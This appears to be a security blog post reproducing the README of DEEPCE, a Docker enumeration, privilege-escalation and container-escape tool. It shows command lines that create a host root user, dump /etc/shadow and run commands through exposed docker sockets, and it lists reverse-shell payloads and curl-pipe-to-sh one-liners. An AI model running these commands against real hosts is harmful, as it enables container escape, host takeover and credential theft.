Cyber security

DEEPCE – Docker’s Ultimate Security Toolkit

Tailored for professionals who seek to elevate their Docker container security game, this powerful suite offers advanced enumeration, privilege escalation, and container escape functionalities.

Designed with utmost compatibility in mind, DEEPCE operates in pure sh, ensuring it seamlessly integrates into any container environment.

                      ##         .
                ## ## ##        ==
             ## ## ## ##       ===
         /"""""""""""""""""\___/ ===
    ~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ /  ===- ~~~
         \______ X           __/
           \    \         __/
            \____\_______/
          __                        
     ____/ /__  ___  ____  ________ 
    / __  / _ \/ _ \/ __ \/ ___/ _ \   ENUMERATE
   / /_/ /  __/  __/ /_/ / (__/  __/  ESCALATE
   \__,_/\___/\___/ .___/\___/\___/  ESCAPE
                 /_/

Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)

In order for it to be compatible with the maximum number of containers, DEEPCE is written in pure sh with no dependencies.

It will make use of additional tools such as curl, nmap, nslookup and dig if available, but for the most part is not reliant upon them for enumeration.

None of the enumeration should touch the disk, however most of the exploits create new containers which will cause disk writes, and some exploits will overwrite runC which can be destructive, so be careful!

Please see below for a list of the enumerations, exploits and payloads DEEPCE can use. If you have ideas for anymore please submit an issue in github!

Downloading

DEEPCE can be downloaded onto a host or container using one of the following one-liners. Tip: download to /dev/shm to avoid touching the disk.

wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
# Or using python requests
python -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh 
python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content.decode("utf-8"))' > deepce.sh  

Screenshots

For more please view the docs folder

Enumerations

The following is the list of enumerations performed by DEEPCE.

  • Container ID & name (via reverse dns)
  • Container IP / DNS Server
  • Docker Version
  • Interesting mounts
  • Passwords in common files
  • Environment variables
  • Password hashes
  • Common sensitive files stored in containers
  • Other containers on same network
  • Port scan other containers, and the host machine itself
  • Find exposed docker sock

Exploits

  • Docker Group Privilege Escalation
  • Privileged mode host command execution
  • Exposed Docker Sock

Payloads

For each of the exploits above payloads can be defined in order to exploit the host system. These include:

  • Reverse TCP shell
  • Print /etc/shadow
  • Add new root user
  • Run custom commands
  • Run custom payload binaries

Examples

# Make the script executable and then run it
chmod +x ./deepce.sh
./deepce.sh 

Exploits

The following examples show the different kinds of exploits that can be performed and the avaliable payloads.

  • Exploit a privileged container to create a new root user on the host operating system:
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce

Exploit a writable docker sock file in order to print the contents of /etc/shadow

./deepce.sh --no-enumeration --exploit SOCK --shadow

Escalate to root via membership to the docker group on a host and run a custom payload

./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"

Advanced Usage

It is possible to download and run deepce without touching the disk, however you will be unable to easily set arguments (direct manipulation of variables is possible using export).

wget -O - https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
Tamil S

Tamil has a great interest in the fields of Cyber Security, OSINT, and CTF projects. Currently, he is deeply involved in researching and publishing various security tools with Kali Linux Tutorials, which is quite fascinating.

Recent Posts

Shadow-rs : Harnessing Rust’s Power For Kernel-Level Security Research

shadow-rs is a Windows kernel rootkit written in Rust, demonstrating advanced techniques for kernel manipulation…

2 weeks ago

ExecutePeFromPngViaLNK – Advanced Execution Of Embedded PE Files via PNG And LNK

Extract and execute a PE embedded within a PNG file using an LNK file. The…

3 weeks ago

Red Team Certification – A Comprehensive Guide To Advancing In Cybersecurity Operations

Embark on the journey of becoming a certified Red Team professional with our definitive guide.…

3 weeks ago

CVE-2024-5836 / CVE-2024-6778 : Chromium Sandbox Escape via Extension Exploits

This repository contains proof of concept exploits for CVE-2024-5836 and CVE-2024-6778, which are vulnerabilities within…

4 weeks ago

Rust BOFs – Unlocking New Potentials In Cobalt Strike

This took me like 4 days (+2 days for an update), but I got it…

4 weeks ago

MaLDAPtive – Pioneering LDAP SearchFilter Parsing And Security Framework

MaLDAPtive is a framework for LDAP SearchFilter parsing, obfuscation, deobfuscation and detection. Its foundation is…

4 weeks ago